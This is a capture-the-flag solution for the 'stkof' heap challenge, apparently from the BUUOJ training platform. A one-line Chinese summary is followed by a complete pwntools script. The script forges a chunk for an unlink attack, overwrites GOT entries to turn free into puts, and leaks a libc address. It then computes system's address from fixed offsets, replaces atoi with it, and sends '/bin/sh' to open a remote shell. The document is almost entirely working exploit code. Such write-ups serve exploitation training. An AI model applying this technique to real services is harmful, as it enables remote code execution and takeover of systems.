stkof

unlink劫持free为puts，leak_libc，然后劫持atoi函数为sys_addr，getshell

from pwn import*
p = remote("node3.buuoj.cn",26681)
elf = ELF("stkof")
def new(size):
    p.sendline('1')
    p.sendline(str(size))
    p.recvuntil('OK\n')


def change(idx, size, content):
    p.sendline('2')
    p.sendline(str(idx))
    p.sendline(str(size))
    p.send(content)
    p.recvuntil('OK\n')


def free(idx):
    p.sendline('3')
    p.sendline(str(idx))
target = 0x602140
new(0x80)
new(0x30)
new(0x80)
payload = p64(0)+p64(0x31)+p64(target+16-0x18)+p64(target+16-0x10)
payload = payload.ljust(0x30,"a")
payload += p64(0x30)+p64(0x90)
change(2,len(payload),payload)
free(3)
change(2,32,8*'a'+p64(elf.got["free"])+p64(elf.got["atoi"])+p64(elf.got["atoi"]))
change(0,8,p64(elf.plt["puts"]))
free(2)
atoi_addr = u64(p.recvuntil("\x7f")[-6:].ljust(8,"\x00"))
log.success("atoi_addr:"+hex(atoi_addr))
base = atoi_addr - 0x36e80
log.success("base_addr:"+hex(base))
sys_addr = base+0x45390
change(1,8,p64(sys_addr))
p.sendline("/bin/sh\x00")
#gdb.attach(p)
p.interactive()